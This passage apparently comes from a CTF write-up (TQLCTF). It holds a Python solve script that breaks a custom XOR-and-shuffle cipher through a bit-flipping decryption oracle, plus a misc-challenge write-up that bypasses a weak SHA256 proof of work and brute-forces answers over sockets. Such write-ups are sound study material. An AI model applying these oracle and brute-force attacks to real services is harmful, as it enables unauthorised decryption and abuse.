def getrandbits(token: bytes, k: int) -> int:
random.seed(token)
return random.getrandbits(k)
def bytes_xor_int(s: bytes, r: int, length: int) -> bytes:
s = int.from_bytes(s, 'little')
return (s ^ r).to_bytes(length, 'little')
def __byte_shuffle(s: int) -> int:
bits = list(bin(s)[2:].zfill(8))
random.shuffle(bits)
return int(''.join(bits), 2)
def __byte_shuffle_re(s: int) -> int:
s = bin(s)[2:].zfill(8)
idx = list(range(8))
random.shuffle(idx)
s = ''.join([s[idx.index(i)] for i in range(8)])
return int(s, 2)
def bits_shuffle(s: bytes) -> bytes:
s = bytearray(s)
for i in range(len(s)):
s[i] = __byte_shuffle(s[i])
return bytes(s)
def bits_shuffle_re(s: bytes) -> bytes:
s = bytearray(s)
for i in range(len(s)):
s[i] = __byte_shuffle_re(s[i])
return bytes(s)
def bytes_shuffle(token: bytes, s: bytes) -> bytes:
random.seed(token)
s = bytearray(s)
random.shuffle(s)
return bytes(s)
def bytes_shuffle_re(token: bytes, s: bytes) -> bytes:
random.seed(token)
idx = list(range(len(s)))
random.shuffle(idx)
r = bytearray(len(s))
for i in range(len(s)):
r[idx[i]] = s[i]
return bytes(r)
def encrypt(s: str, token=(None, None)):
if token[0] is None or token[1] is None:
token = (secrets.randbits(32).to_bytes(4, 'little'),
secrets.randbits(32).to_bytes(4, 'little'))
s: bytes = s.encode()
check_valid(s)
r = getrandbits(token[0]+secret_1, 8*len(s))
s = bytes_xor_int(s, r, len(s))
s = bits_shuffle(s)
s += token[0]
s = bytes_shuffle(token[1]+secret_2, s)
s += token[1]
s = s.hex()
return s
def decrypt(s: str):
s: bytes = bytes.fromhex(s)
s, token_1 = s[:-4], s[-4:]
s = bytes_shuffle_re(token_1+secret_2, s)
s, token_0 = s[:-4], s[-4:]
r = getrandbits(token_0+secret_1, 8*len(s))
s = bits_shuffle_re(s)
s = bytes_xor_int(s, r, len(s))
check_valid(s)
s = s.decode()
return s
def find_pow(ax,ts):
cs=string.digits+string.ascii_letters
for a in cs:
for b in cs:
for c in cs:
for d in cs:
pg=a+b+c+d+ax
hs=sha256(pg.encode()).hexdigest()
if hs==ts:
return a+b+c+d
def do_pow():
sh.recvuntil(b"sha256(XXXX+")
p1=sh.recvuntil(b")",drop=True).decode().strip()
sh.recvuntil(b"==")
p2=sh.recvline().decode().strip()
print(p1,p2)
jb=find_pow(p1,p2)
sh.sendline(jb.encode())
def diffpos(ag,bg):
#print(a,b)
a=bitarray.bitarray()
b=bitarray.bitarray()
a.frombytes(ag.encode())
b.frombytes(bg.encode())
return [i for i in range(len(a)) if a[i]!=b[i]]
sh=process("python3 ./main.py",shell=True)
#sh=remote("112.74.179.118",1)
#do_pow()
#sh.interactive()
sh.recvuntil(b"flag:")
flagm=sh.recvline().decode().strip()
print(flagm)
def querydecrypt(hx:str):
sh.recvuntil(b">")
sh.sendline(b"1")
sh.recvuntil(b">")
sh.sendline(hx.encode())
res=sh.recvuntil(b":").decode()
if 'invalid characters' in res:
sh.recvuntil(b"pos")
pos=int(sh.recvline().decode().strip())
return (1,pos)
if 'dangerous token' in res:
return (2,None)
pmess=sh.recvline().decode().strip()
return (0,pmess)
def getmid(tox):
sh.recvuntil(b">")
sh.sendline(b"0")
sh.recvuntil(b">")
sh.sendline(tox)
sh.recvuntil(b"message:")
mess=sh.recvline().decode().strip()
print(mess)
print(len(mess)//2,len(tox))
mlen=4*len(mess)
xorder=[-1]*len(tox)
i=0
while i<(mlen-8*4):
gm=hex2ba(mess)
gm[i]^=1
gm=ba2hex(gm)
#print(gm)
sh.recvuntil(b">")
sh.sendline(b"1")
sh.recvuntil(b">")
sh.sendline(gm.encode())
res=sh.recvuntil(b":").decode()
if "invalid" in res:
print("fail",i)
i+=1
continue
pmess=sh.recvline().decode().strip()
dp=diffpos(tox,pmess)
if len(dp)!=1:
print("fail",i,dp)
i+=1
continue
dp=dp[0]
print("hit",i,dp)
xorder[dp//8]=i//8
i=(i+8)//8*8
#i+=1
print(xorder)
midmesstx=bytes.fromhex(mess)
midmess=bytearray(b"\x00"*len(tox))
for i in range(len(tox)):
midmess[i]=midmesstx[xorder[i]]
print(midmess.hex())
missbpos=[i for i in range(len(tox)+4) if i not in xorder]
missb=[bytes([midmesstx[i]]) for i in missbpos]
print(b"".join(missb).hex())
return (tox,mess,midmess,missb,xorder,missbpos)
def shufflefrombits(arr, bits):
for i in reversed(range(1,len(arr))):
blx=i+1
while True:
k=blx.bit_length()
ns=(bits%(2**32))>>(32-k)
bits>>=32
assert bits!=0
if ns<blx:
break
arr[i],arr[ns]=arr[ns],arr[i]
return arr,bits
i=0
mlen=len(flagm)*4
porder=[-1]*(mlen//8-4)
dangpos=[False]*(mlen//8-4)
while i<(mlen-8*4):
gm=hex2ba(flagm)
gm[i]^=1
gm=ba2hex(gm)
pst,pv=querydecrypt(gm)
print(i,pst,pv)
if pst==2:
dangpos[i//8]=True
if pst==1:
porder[i//8]=pv
if porder[i//8]!=-1 and dangpos[i//8]:
i=(i+8)//8*8
continue
i+=1
print(porder)
print(dangpos)
xorder=[-1]*(mlen//8-8)
for i in range(mlen//8-4):
if dangpos[i]:
xorder[porder[i]]=i
midmesstx=bytes.fromhex(flagm)
midmess=bytearray(b"\x00"*(mlen//8-8))
for i in range(mlen//8-8):
midmess[i]=midmesstx[xorder[i]]
print(midmess.hex())
missbpos=[i for i in range(mlen//8-4) if i not in xorder]
missb=[bytes([midmesstx[i]]) for i in missbpos]
print(b"".join(missb).hex())
prepl=getmid('1'*(mlen*6))
for nttoken in itertools.permutations(missb):
ntoken=list(nttoken)
crmess=bytearray(bytes.fromhex(prepl[1]))
for i in range(4):
crmess[prepl[5][i]]=ntoken[i][0]
while True:
nst,nps=querydecrypt(bytes(crmess).hex())
print(nst,nps)
if nst!=1:
break
cpa=prepl[4][nps]
while True:
crmess[cpa]=random.randint(0,255)
nstx,npsx=querydecrypt(bytes(crmess).hex())
print("ret",nstx,npsx)
if npsx!=nps:
break
ashf=[]
xrandbits=[]
rdbhex=""
els=False
for i in range(len(crmess)-8):
shfpos=[-1]*8
spos=prepl[4][i]
while shfpos.count(-1)>1:
lasmess=querydecrypt(bytes(crmess).hex())[1]
pendingl=[j for j in range(8) if shfpos[j]==-1]
random.shuffle(pendingl)
#print(pendingl,lasmess,shfpos)
for nxpos in pendingl:
crmess[spos]^=1<<nxpos
qst,qps=querydecrypt(bytes(crmess).hex())
if qst==1:
crmess[spos]^=1<<nxpos
continue
rposv=ord(qps[i])^ord(lasmess[i])
rpos=rposv.bit_length()-1
assert rposv==1<<rpos
shfpos[nxpos]=rpos
if ((97>>rpos)&1)!=((ord(qps[i])>>rpos)&1):
crmess[spos]^=1<<nxpos
break
highpos=shfpos.index(-1)
shfpos[highpos]=7
ashf.append(shfpos)
nbit=crmess[spos]
gv=0
for j in range(8):
gv|=((nbit>>j)&1)<<shfpos[j]
rv=gv^97
xrandbits.append(rv)
rdbhex+=hex(rv)[2:].zfill(2)
print(len(set(shfpos)),shfpos,lasmess,hex(rv))
if i==len(flagm)//2+128:
rdb=bytes.fromhex(rdbhex)
plen=len(flagm)//2-8
dqq=(plen+3)//4*4
xorv=rdb[:dqq]
xorv=xorv[:dqq-4]+xorv[-(plen-dqq+4):]
print(xorv.hex())
entr=int.from_bytes(rdb[dqq:],'little')
s = bin(midmess[0])[2:].zfill(8)
idx = list(range(8))
idx,nst=shufflefrombits(idx, entr)
s = ''.join([s[idx.index(i)] for i in range(8)])
emm=int(s, 2)^xorv[0]
print("CHECK",emm)
# if i==6 and not(0xda in xrandbits and 0x15 in xrandbits and 0x2c in xrandbits):
# els=True
# break
if els:
print("elstop")
continue
rdb=bytes.fromhex(rdbhex)
print(rdbhex)
plen=len(flagm)//2-8
dqq=(plen+3)//4*4
xorv=rdb[:dqq]
xorv=xorv[:dqq-4]+xorv[-(plen-dqq+4):]
print(xorv.hex())
entr=int.from_bytes(rdb[dqq:],'little')
np=bytearray()
for i in range(plen):
s = bin(midmess[i])[2:].zfill(8)
idx = list(range(8))
idx,nst=shufflefrombits(idx, entr)
entr=nst
s = ''.join([s[idx.index(i)] for i in range(8)])
np.append(int(s, 2)^xorv[i])
flagx=bytes(np)
print(flagx)
#break
[misc] Wizard
可能是全场除了签到题之外最水的题。
首先我们可以发现几件事情:
- 答案 $k$ 一定满足 $1 \leq k \leq m, k \in \mathbb{Z}$
- 手玩几次,可以发现这个 $m$ 似乎不会太大。虽然题目数据范围里规定了 $1 \leq m \leq 10000$ 不过实际上 $m$ 目测也就是 $500$ 的样子
所以我们暴力尝试。每次交互的时候随机选一个 $k, k \in [1,m] \cap \mathbb{Z}$。五分钟即可出结果。
对了,这道题的 POW 的工作量似乎太小了。POW 是 SHA256('TQLCTF' + ?) starts with 836c1. Please input the string:。不难发现,只有 $16^5 = 1048576$ 种情况,直接打个表就行了。
这是程序:
import socket
import time
import random
import hashlib
class IntSocket:
def __init__(self,ip,port,debug=True,delay=4):
self.s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.s.connect((ip,port))
self.ip = ip
self.port = port
self.debug = debug
self.delay = delay
def Reset(self):
self.s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.s.connect((self.ip,self.port))
def Recv(self):
data = self.s.recv(2048).decode()
if self.debug: print(">]",data)
time.sleep(self.delay/1000)
return data
def Send(self,data):
if self.debug: print("<]",data)
self.s.send((data+'\n').encode('utf-8'))
time.sleep(self.delay/1000)
# Brute - Based on table
table = ['' for i in range(1048576)]
def Load():
with open('table.txt','r') as f:
for line in f.readlines():
id = int(line.split()[0])
st = line.strip().split()[1]
table[id] = st
Load()
def Find2(startWith):
id = int(startWith,16)
return table[id]
sock = IntSocket("120.79.12.160",37987)
counter = 0
while True:
counter += 1
sock.Reset()
msg = sock.Recv()
sock.Send(Find2(msg.split('\n')[0].split()[-1]))
msg = sock.Recv()
m = int(msg.strip().split('\n')[-1].split()[-1])
sock.Send('G '+str(random.randint(1,m)))
msg = sock.Recv()
if 'You are wrong! You can not get Zard\'s secret' not in msg:
break
print('[Counter]',counter)